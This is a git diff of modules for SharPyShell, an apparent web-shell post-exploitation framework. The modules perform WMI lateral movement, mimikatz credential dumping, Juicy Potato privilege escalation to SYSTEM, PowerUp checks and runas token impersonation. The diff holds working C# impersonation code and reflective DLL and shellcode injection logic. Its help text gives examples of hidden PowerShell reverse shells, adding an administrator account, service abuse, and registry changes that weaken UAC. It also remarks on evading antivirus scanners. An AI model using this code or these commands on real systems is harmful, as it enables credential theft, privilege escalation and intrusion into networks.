response = self.__run_as(psexec_path, psexec_code_arguments, local_user, local_password, local_domain)
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
str(traceback.format_exc())
return parsed_response
+14 -226
View File
@@ -14,8 +14,8 @@ class Lateral_wmi(Module):
This module run a wmic /node:[ip] command in order to launch commands on a remote windows system.
This will result in a lateral movement if shared credentials are known.
Note that if you use local users credentials you should ensure that, on the target server, the feature
"LocalAccountTokenFilterPolicy" is disabled.
Note that if you use local admin credentials you should ensure that, on the target server, the feature
"LocalAccountTokenFilterPolicy" is disabled. (except for builtin Administrator)
To disable that you need to add the following regkey with the value of 1:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
@@ -24,16 +24,11 @@ class Lateral_wmi(Module):
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
If you use domain users for the lateral movement, no restrictions to the process token will be applied.
Remember to always specify the domain in the username field. If you use a local account use the machine name as the domain.
This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target
server.
Moreover this module should be run from a privileged user.
If the application pool within the web application you are interacting with is run with application pool
identity account or any limited account you won't be able to move laterally to other systems
due to restrictions applied to the user.
In those cases, you need to use different credentials of a more privileged user in order to launch this module.
Note that, wmi commands don't return stdout/stderr output from the execution of remote processes.
You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn
reverse/bind shell.
@@ -47,21 +42,14 @@ class Lateral_wmi(Module):
you can specify domain\username if user is in a domain
password password of the user to use to login on the target server
command a command compatible by cmd.exe
[local_user] the username of a local user with privileged rights
[local_password] the password of a local user with privileged rights
[local_domain] the domain of a local user with privileged rights
Examples:
Lateral movement as privileged current application pool user, output to local shared resource:
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt'
Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'local_privileged_user1' 'local_privileged_password1'
Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
#lateral_wmi 192.168.56.102 'domain\remote_user1' 'remote_password1' 'whoami /all > C:\Windows\Temp\whoami.txt'
"""
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
@@ -104,196 +92,10 @@ class Lateral_wmi(Module):
}
"""
_runtime_code_runas = ur"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
public class SharPyShell
{
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
{
private SafeTokenHandle()
: base(true)
{
}
[DllImport("kernel32.dll")]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
[SuppressUnmanagedCodeSecurity]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr handle);
protected override bool ReleaseHandle()
{
return CloseHandle(handle);
}
}
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
const uint WAIT_ABANDONED = 0x00000080;
const uint WAIT_OBJECT_0 = 0x00000000;
const uint WAIT_TIMEOUT = 0x00000102;
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
public string LateralWMIRunas(string userName, string password, string domainName, string wmi_arguments, string stdout_file, string stderr_file, string working_directory)
{
SafeTokenHandle safeTokenHandle;
int logon_type = 4;
uint process_ms_timeout = 60000;
string output = "";
string error_string = "{{{SharPyShellError}}}";
try
{
const int LOGON32_PROVIDER_DEFAULT = 0;
const int LOGON32_PROVIDER_WINNT35 = 1;
const int LOGON32_PROVIDER_WINNT40 = 2;
const int LOGON32_PROVIDER_WINNT50 = 3;
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
if (false == returnValue)
{
output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
return output;
}
using (safeTokenHandle)
{
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
{
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
{
IntPtr Token = new IntPtr(0);
IntPtr DupedToken = new IntPtr(0);
bool ret;
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
Token = WindowsIdentity.GetCurrent().Token;
const uint GENERIC_ALL = 0x10000000;
const int SecurityImpersonation = 2;
const int TokenType = 1;
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
if (ret == false){
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
return output;
}
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "";
string commandLinePath = "";
File.Create(stdout_file).Dispose();
File.Create(stderr_file).Dispose();
string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec");
string wmic_path = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\wbem\\wmic.exe";
commandLinePath = cmd_path + " /c " + wmic_path + " " + wmi_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
if (ret == false){
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
return output;
}
else{
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
if(wait_for == WAIT_OBJECT_0){
output += "\n" + File.ReadAllText(stdout_file);
string errors = File.ReadAllText(stderr_file);
if (!String.IsNullOrEmpty(errors))
output += "\n" + errors;
}
else{
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
}
File.Delete(stdout_file);
File.Delete(stderr_file);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
CloseHandle(DupedToken);
}
}
}
}
catch (Exception ex)
{
output += error_string + "\nException occurred. " + ex.Message;
return output;
}
return output;
}
public byte[] ExecRuntime()
{
string output_func=LateralWMIRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
__default_local_user = ''
__default_local_password = ''
__default_local_domain = ''
__wmi_code_arguments = ur'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
__wmi_code_arguments = r'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
def __run_as_current_user(self, wmi_code_arguments):
request = self._create_request([wmi_code_arguments, 'current_user'])
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
return decrypted_response
def __run_as(self, wmi_code_arguments, local_user, local_password, local_domain):
request = self._create_request([[wmi_code_arguments, local_user, local_password, local_domain], 'runas'])
request = self._create_request(wmi_code_arguments)
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
@@ -307,34 +109,20 @@ class Lateral_wmi(Module):
username = args_parser.get(1)
password = args_parser.get(2)
command = args_parser.get(3)
local_user = args_parser.get(4, self.__default_local_user)
local_password = args_parser.get(5, self.__default_local_password)
local_domain = args_parser.get(6, self.__default_local_domain)
return target_ip, username, password, command, local_user, local_password, local_domain
return target_ip, username, password, command
def _create_request(self, args):
arguments, request_type = args
arguments = args
working_path = self._module_settings['working_directory']
if request_type == 'runas':
wmi_code_arguments, local_user, local_password, local_domain = arguments
stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
request = self._runtime_code_runas % (local_user, local_password, local_domain, wmi_code_arguments,
stdout_file, stderr_file, working_path)
else:
wmi_code_arguments = arguments
request = self._runtime_code % (wmi_code_arguments, working_path)
wmi_code_arguments = arguments
request = self._runtime_code % (wmi_code_arguments, working_path)
return request
def run(self, args):
try:
target_ip, username, password, command,\
local_user, local_password, local_domain = self.__parse_run_args(args)
target_ip, username, password, command = self.__parse_run_args(args)
wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command)
if local_user == '':
response = self.__run_as_current_user(wmi_code_arguments)
else:
response = self.__run_as(wmi_code_arguments, local_user, local_password, local_domain)
response = self.__run_as_current_user(wmi_code_arguments)
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
+50 -22
View File
@@ -5,8 +5,10 @@ from modules.exec_cmd import Exec_cmd
from modules.runas import Runas
from modules.invoke_ps_module import Invoke_ps_module
from modules.invoke_ps_module_as import Invoke_ps_module_as
from modules.inject_dll_srdi import Inject_dll_srdi
from utils.random_string import random_generator
import traceback
import os
class MimikatzModuleException(ModuleException):
@@ -17,25 +19,30 @@ class Mimikatz(Module):
_exception_class = MimikatzModuleException
short_help = "Run an offline version of mimikatz directly in memory"
complete_help = r"""
Authors: @gentilkiwi @PowerShellMafia
Links: https://github.com/gentilkiwi/mimikatz
https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1
Credits: @phra
This module allows you to run mimikatz in a versatile way.
Within this module it is possible to run mimikatz in 2 different way:
Within this module it is possible to run mimikatz in 3 different ways:
'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments.
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments;
'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process.
It is recommended to run the ps1 version because it will be obfuscated and run from memory.
The exe version will be just dropped as clear and could be catched by av scanners.
Exec_Type can be 'ps1' or 'exe'.
The dll version is the most stealthy but it doesn't support impersonation atm.
Source Code:
https://github.com/gentilkiwi/mimikatz
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
Usage:
#mimikatz [exec_type] [username] [password] [domain] [custom_command]
Positional arguments:
exec_type type of running mimikatz.
'ps1' will upload and execute the powershell version of mimikatz
'exe' will upload and execute the classic version of binary mimikatz
exec_type execution type for running mimikatz:
'ps1' will upload and execute the powershell version of mimikatz
'exe' will upload and execute the classic version of binary mimikatz
'dll' will inject converted dll shellcode into a remote process
Default: 'ps1'
username username of the user to runas the process
password password of the user to runas the process
@@ -43,13 +50,17 @@ class Mimikatz(Module):
custom_command based on exec_type, the custom command could be:
- 'ps1' : powershell code to add to the ps1 mimikatz module;
- 'exe' : command line arguments to the mimikatz binary;
- 'dll' : command line arguments to be executed.
Default:
'ps1': ';Invoke-Mimikatz -DumpCreds'
'exe': 'privilege::debug sekurlsa::logonpasswords exit'
'dll': 'privilege::debug sekurlsa::logonpasswords exit'
Examples:
Run mimikatz as the current user
#mimikatz
Run mimikatz dll
#mimikatz 'dll'
Run mimikatz as a specific local user
#mimikatz 'ps1' 'user1' 'password1'
Run mimikatz as a specific domain user
@@ -79,6 +90,7 @@ class Mimikatz(Module):
self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object)
self.invoke_ps_module_object = Invoke_ps_module(password, channel_enc_mode, module_settings, request_object)
self.invoke_ps_as_module_object = Invoke_ps_module_as(password, channel_enc_mode, module_settings, request_object)
self.inject_dll_srdi_module_object = Inject_dll_srdi(password, channel_enc_mode, module_settings, request_object)
def __parse_run_args(self, args):
args_parser = {k: v for k, v in enumerate(args)}
@@ -86,32 +98,46 @@ class Mimikatz(Module):
username = args_parser.get(1, self.__default_username)
password = args_parser.get(2, self.__default_password)
domain = args_parser.get(3, self.__default_domain)
custom_command = args_parser.get(4, self.__default_exe_command if exec_type == 'exe' else self.__default_ps_command)
custom_command = args_parser.get(4, self.__default_exe_command if exec_type != 'ps1' else self.__default_ps_command)
return exec_type, username, password, domain, custom_command
def __lookup_exe_binary(self):
if 'mimikatz.exe' in self._module_settings.keys():
bin_path = self._module_settings['mimikatz.exe']
else:
exe_path = config.modules_paths + 'exe_modules/mimikatz.exe'
exe_path = config.modules_paths + 'exe_modules' + os.sep + 'mimikatz.exe'
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
print '\n\n\nUploading mimikatz binary....\n'
print ('\n\n\nUploading mimikatz binary....\n')
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
print upload_response
print (upload_response)
self._module_settings['mimikatz.exe'] = remote_upload_path
bin_path = remote_upload_path
return bin_path
def __run_exe_version(self, username, password, domain, custom_command):
try:
remote_upload_path = self.__lookup_exe_binary()
if username == '':
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
else:
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
remote_upload_path = self.__lookup_exe_binary()
if username == '':
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
else:
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
parsed_response = self._parse_response(response)
return parsed_response
def __run_dll_version(self, username, custom_command):
dll_name = 'powerkatz.dll'
exported_function_name = 'powershell_reflective_mimikatz'
log_file = self._module_settings['env_directory'] + '\\' + random_generator()
exported_function_data = str.encode('"log ' + log_file + '" ' + custom_command + '\x00', 'utf-16-le')
if username == '':
print ('\n\nInjecting converted DLL shellcode into remote process...')
response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
exported_function_name, exported_function_data])
response = self._parse_response(response)
response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n'
response += self._parse_response(self.exec_cmd_module_object.run(['type ' + log_file + ' & del /f /q ' + log_file]))
else:
raise self._exception_class('#mimikatz: exec_type "dll" does not support the runas function atm\n')
parsed_response = self._parse_response(response)
return parsed_response
def __run_ps_version(self, username, password, domain, custom_command):
@@ -127,6 +153,8 @@ class Mimikatz(Module):
exec_type, username, password, domain, custom_command = self.__parse_run_args(args)
if exec_type == 'exe':
response = self.__run_exe_version(username, password, domain, custom_command)
elif exec_type == 'dll':
response = self.__run_dll_version(username, custom_command)
else:
response = self.__run_ps_version(username, password, domain, custom_command)
parsed_response = self._parse_response(response)
+97 -28
View File
@@ -2,7 +2,9 @@ from core.Module import Module, ModuleException
from core import config
from modules.upload import Upload
from modules.exec_cmd import Exec_cmd
from modules.inject_dll_reflective import Inject_dll_reflective
from utils.random_string import random_generator
from utils import shellcode
import random
import traceback
@@ -13,8 +15,13 @@ class PrivescJuicyPotatoModuleException(ModuleException):
class Privesc_juicy_potato(Module):
_exception_class = PrivescJuicyPotatoModuleException
short_help = r"Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
complete_help = r"""
Authors: @decoder @ohpe @phra @lupman
Links: https://github.com/ohpe/juicy-potato
https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
Accounts to NT AUTHORITY\SYSTEM.
This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
@@ -24,32 +31,41 @@ class Privesc_juicy_potato(Module):
This vulnerability is no longer exploitable with Windows Server 2019:
https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
Source Code:
https://github.com/ohpe/juicy-potato
Usage:
#privesc_juicy_potato cmd [custom_args]
#privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]
Positional arguments:
cmd command supported by cmd.exe
custom_args command line parameters to be passed to juicy potato binary
Default: ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
cmd command supported by cmd.exe
exec_type Type of execution of juicy potato, values can be:
- 'reflective_dll'
- 'exe'
Default: 'reflective_dll'
clsid target CLSID to reflect
Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS)
custom_shellcode_path path to a file containing shellcode (format raw)
if set, this module will ignore 'cmd' argument
Default: 'default'
Examples:
Add a new local admin:
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1 & net localgroup Administrators admin_test /add'
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add'
Run juicy reflecting a custom COM CLSID:
#privesc_juicy_potato 'echo custom_clsid > C:\windows\temp\custom_clsid.txt' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}'
Run whoami with the classic Juicy Potato binary:
#privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe'
"""
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string ExecCmd(string exe_path, string custom_args, string cmd, string working_path)
string ExecCmd(string exe_path, string arguments, string cmd, string working_path)
{
string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
ProcessStartInfo pinfo = new ProcessStartInfo();
pinfo.FileName = exe_path;
pinfo.Arguments = custom_args + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
pinfo.RedirectStandardOutput = true;
pinfo.RedirectStandardError = true;
pinfo.UseShellExecute = false;
@@ -84,20 +100,29 @@ class Privesc_juicy_potato(Module):
}
"""
__default_custom_args = ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
__default_exec_type = 'reflective_dll'
__default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}'
__default_custom_shellcode_path = 'default'
def __init__(self, password, channel_enc_mode, module_settings, request_object):
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode,
module_settings, request_object)
def __parse_run_args(self, args):
if len(args) < 1:
raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n')
args_parser = {k: v for k, v in enumerate(args)}
cmd = args_parser.get(0)
custom_args = args_parser.get(1, self.__default_custom_args)
return cmd, custom_args
exec_type = args_parser.get(1, self.__default_exec_type)
self.__random_listening_port = str(random.randint(10000, 65000))
clsid = args_parser.get(2, self.__default_clsid)
arguments = ' -t * -l %s -c %s -p '
arguments = arguments % (self.__random_listening_port, clsid)
custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path )
return cmd, exec_type, arguments, custom_shellcode_path, clsid
def __lookup_binary(self):
if 'JuicyPotato.exe' in self._module_settings.keys():
@@ -105,28 +130,72 @@ class Privesc_juicy_potato(Module):
else:
exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe'
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
print '\n\n\nUploading Juicy Potato binary....\n'
print ('\n\n\nUploading Juicy Potato binary....\n')
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
print upload_response
print (upload_response)
self._module_settings['JuicyPotato.exe'] = remote_upload_path
bin_path = remote_upload_path
return bin_path
def _create_request(self, args):
exe_path, custom_args, cmd = args
def __run_exe_version(self, cmd, arguments):
exe_path = self.__lookup_binary()
working_path = self._module_settings['working_directory']
return self._runtime_code % (exe_path, custom_args, cmd, working_path)
request = self._runtime_code % (exe_path, arguments, cmd, working_path)
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
parsed_response = self._parse_response(decrypted_response)
return parsed_response
def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid):
LogFile = logfile.encode()
remote_process = b'notepad.exe'
CLSID = clsid.encode()
ListeningPort = self.__random_listening_port.encode()
RpcServerHost = b'127.0.0.1'
RpcServerPort = b'135'
ListeningAddress = b'127.0.0.1'
if custom_shellcode_path == 'default':
shellcode_bytes = shellcode.winexec_x64 + b'cmd /c "' + cmd.encode() + b'"\00'
thread_timeout = '60000'
else:
thread_timeout = '0'
with open(custom_shellcode_path, 'rb') as file_handle:
shellcode_bytes = file_handle.read()
configuration = LogFile + b'\00'
configuration += remote_process + b'\00'
configuration += CLSID + b'\00'
configuration += ListeningPort + b'\00'
configuration += RpcServerHost + b'\00'
configuration += RpcServerPort + b'\00'
configuration += ListeningAddress + b'\00'
configuration += str(len(shellcode_bytes)).encode() + b'\00'
configuration += shellcode_bytes
configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in configuration) + '}'
response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual',
'cmd.exe', thread_timeout, configuration_bytes_csharp])
parsed_response = self._parse_response(response)
return parsed_response
def _create_request(self, args):
exe_path, arguments, cmd = args
working_path = self._module_settings['working_directory']
return self._runtime_code % (exe_path, arguments, cmd, working_path)
def run(self, args):
try:
cmd, custom_args = self.__parse_run_args(args)
upload_path = self.__lookup_binary()
request = self._create_request([upload_path, custom_args, cmd])
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
parsed_response = self._parse_response(decrypted_response)
parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response
cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args)
if exec_type == 'exe':
response = self.__run_exe_version(cmd, arguments)
else:
logfile = self._module_settings['env_directory'] + '\\' + random_generator()
print ('\n\nInjecting Reflective DLL into remote process...')
response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
response += '\nReflective DLL injection executed!\n\n'
if custom_shellcode_path == 'default':
response += '\nOutput of juicy potato:\n\n'
response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
+9 -7
View File
@@ -12,6 +12,10 @@ class Privesc_powerup(Module):
_exception_class = PrivescPowerupModuleException
short_help = "Run Powerup module to assess all misconfiguration for privesc"
complete_help = r"""
Author: @PowerShellMafia
Link: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1
This module run the Powerup.ps1 script in order to find all possible misconfiguration that can
lead to a privilege escalation.
The output of this module will be just informative, no automatic privesc exploitation will be performed.
@@ -19,9 +23,7 @@ class Privesc_powerup(Module):
a user to runas this module.
If no users are provided this module will run under the application pool running user.
Source Code:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
Usage:
#privesc_powerup [username] [password] [domain] [custom_command]
@@ -30,7 +32,7 @@ class Privesc_powerup(Module):
password password of the user to runas the process
domain domain of the user to runas the process
custom_command the command to run within the module
Default: ';Invoke-AllChecks'
Default: ';Invoke-PrivescAudit -Format List'
Examples:
Run powerup as the current user
@@ -39,15 +41,15 @@ class Privesc_powerup(Module):
#privesc_powerup 'user1' 'password1'
Run powerup as a specific domain user
#privesc_powerup 'user1' 'password1' 'domain'
Run powerup with a custom command, i.e. save report as html
#privesc_powerup '' '' '' ';Invoke-AllChecks -HTMLReport'
Run powerup with a custom command, i.e. abusing a service misconfiguration
#privesc_powerup '' '' '' ';Invoke-ServiceAbuse -Name "VulnSvc"'
"""
__default_username = ''
__default_password = ''
__default_domain = ''
__default_custom_command = ';Invoke-AllChecks'
__default_custom_command = ';Invoke-PrivescAudit -Format List'
def __init__(self, password, channel_enc_mode, module_settings, request_object):
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
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+2169 -1190
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+210 -118
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@@ -16,7 +16,11 @@ class Runas(Module):
The calling process will wait until the end of the execution of the spawned process.
The two processes will communicate through 2 pipeline files (1 for stdout and 1 for stderr).
The default logon type is 3 (Network_Logon).
If you set Interactive (2) logon type you will face some restriction problems.
If you set Interactive (2) logon type you will face some UAC restriction problems.
You can make interactive login without restrictions by setting the following regkey to 0 and restart the server:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
If you need to spawn a background or async process, i.e. spawning a reverse shell, set the argument
'process_timeout_ms' to 0.
@@ -30,8 +34,7 @@ class Runas(Module):
domain domain of the user, if in a domain.
Default: ''
process_timeout_ms the waiting time (in ms) to use in the WaitForSingleObject() function.
This will halt the process until the spawned process ends and sent
the output back to the webshell.
This will halt the process until the spawned process ends and sent the output back to the webshell.
If you set 0 an async process will be created and no output will be retrieved.
Default: '60000'
logon_type the logon type for the spawned process.
@@ -42,6 +45,8 @@ class Runas(Module):
#runas whoami user1 password1
Run a command as a specific domain user
#runas whoami user1 password1 domain
Run a command as a specific local user with logon type 2
#runas whoami user1 password1 '' 60000 2
Run a background/async process as a specific local user, i.e. meterpreter ps1 reverse shell
#runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' '' '0'
Run a background/async process as a specific domain user, i.e. meterpreter ps1 reverse shell
@@ -49,13 +54,102 @@ class Runas(Module):
"""
_runtime_code = ur"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
public class SharPyShell
{
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
private const string error_string = "{{{SharPyShellError}}}";
private const int LOGON32_PROVIDER_DEFAULT = 0;
private const int LOGON32_PROVIDER_WINNT35 = 1;
private const int LOGON32_PROVIDER_WINNT40 = 2;
private const int LOGON32_PROVIDER_WINNT50 = 3;
private const uint GENERIC_ALL = 0x10000000;
private const int SecurityImpersonation = 2;
private const int TokenType = 1;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const uint WAIT_ABANDONED = 0x00000080;
private const uint WAIT_OBJECT_0 = 0x00000000;
private const uint WAIT_TIMEOUT = 0x00000102;
[StructLayout(LayoutKind.Sequential)] private struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)] private struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
